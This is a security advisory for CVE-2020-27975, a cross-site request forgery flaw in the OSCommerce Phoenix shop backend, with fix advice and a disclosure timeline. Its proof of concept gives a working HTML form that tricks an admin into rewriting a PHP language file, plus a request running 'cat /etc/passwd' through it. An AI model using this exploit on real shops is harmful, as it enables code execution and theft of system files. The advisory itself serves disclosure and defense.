



Alle akzeptieren

## usd-2020-0027

**Advisory ID:** usd-2020-0027  
**CVE Number:** CVE-2020-27975  
**Affected Product:** OSCommerce Phoenix  
**Affected Version:** < 1.0.5.4  
**Vulnerability Type:** Cross Site Request Forgery (CSRF)  
**Security Risk:** High  
**Vendor URL:** <https://www.oscommerce.com/>  
**Vendor Status:** Not fixed

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)

## Description

The open source application is vulnerable to a number of Cross-Site Request Forgery (CSRF) attacks. CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. A lot of critical functions are executed from the shop backend that are not secured against CSRF attacks. In the worst case CSRF may lead to code execution.

## Proof of Concept (PoC)

An attacker could create an HTML page with the following content:

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/phoenix/admin/define_language.php?lngdir=english&filename=english/login.php&action=save" method="POST">
  <input type="hidden" name="file" value="&#95;contents" />
  <input type="hidden" name="system" value="&#95;GET" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
```

An already authenticated backend user who visits the attacker's site and presses the „Submit request“ button would, unknowingly, modify parts of his PHP code in the `includes/languages/english/login.php` and allow code execution for the attacker.

The following request allows an attacker to view the `/etc/passwd` file.

```
GET /phoenix/includes/languages/english/login.php?cmd=cat%20/etc/passwd HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ceid=vor0l2agt2gga9la18t060qnr1
Upgrade-Insecure-Requests: 1
```

## Fix

Use token-based Anti CSRF mechanisms. It can be achieved either with state (synchronizer token pattern) or stateless (encrypted or hashed based token pattern). CSRF tokens should be generated on the server-side. They can be generated once per user session or for each request. An attacker would therefore have to guess or know the randomly generated token for a successful attack.

## Timeline

- 2020-03-18 Vulnerability discovered
- 2020-03-20 First contact attempt
- 2020-03-27 Advisory send to vendor
- 2020-06-04 Request for update from vendor – no response
- 2020-06-25 Request for update from vendor – no response
- 2020-07-30 Request for update from vendor – no response
- 2020-10-20 Request for update from vendor – no response
- 2020-10-27 Security advisory released

## Credits

This security vulnerabilities were found



## Datenschutz

Auf unserer Webseite werden von uns und eingebundenen Dritten technische erforderliche Cookies und, soweit Sie uns durch Aktivierung der jeweiligen Checkbox hierzu Ihre freiwillige Einwilligung erteilen, auch Cookies und Tracking-Technologien zu Analyse- und Marketingzwecken eingesetzt. Eine Einwilligung kann jederzeit mit Wirkung für die Zukunft widerrufen werden.

Wenn Sie unter 16 Jahre alt sind und Ihre Zustimmung zu freiwilligen Diensten geben möchten, müssen Sie Ihre Erziehungsberechtigten um Erlaubnis bitten.

Wir verwenden Cookies und andere Technologien auf unserer Website. Einige von ihnen sind essenziell, während andere uns helfen, diese Website und Ihre Erfahrung zu verbessern. Personenbezogene Daten können verarbeitet werden (z. B. IP-Adressen), z. B. für personalisierte Anzeigen und Inhalte oder Anzeigen- und Inhaltsmessung. Weitere Informationen über die Verwendung Ihrer Daten finden Sie in unserer [Datenschutzerklärung](#). Sie können Ihre Auswahl jederzeit unter [Einstellungen](#) widerrufen oder anpassen.



usd HeroLab

☒ Technisch erforderlich

☐ Analyse und Performance



Alle akzeptieren

Speichern

Nur technisch notwendige Cookies akzeptieren

Individuelle Datenschutzeinstellungen

[Cookie-Details](#) | [Datenschutzerklärung](#) | [Impressum](#)



In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our **CST Academy** and our **usd HeroLab** are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the **usd HeroLab** publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: „more security.“

to usd AG

In accordance with usd AG's **Responsible Disclosure Policy**, all vendors have been notified of the existence of these vulnerabilities.

## Disclaimer

The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.

[usd AG](#)

[Kontakt](#)

[Impressum](#)

[Datenschutz](#)

[AGB](#)

© 2022 usd AG

[Meldung einer Schwachstelle oder eines Bugs](#)

[Code of Ethics](#)



[LabNews](#)

[Security Advisory zu GitLab](#)

**Dez 15, 2022**

[Security Advisory zu Acronis Cyber Protect](#)

**Nov 9, 2022**

[Security Advisories zu Apache Tomcat](#)

**Nov 24, 2022**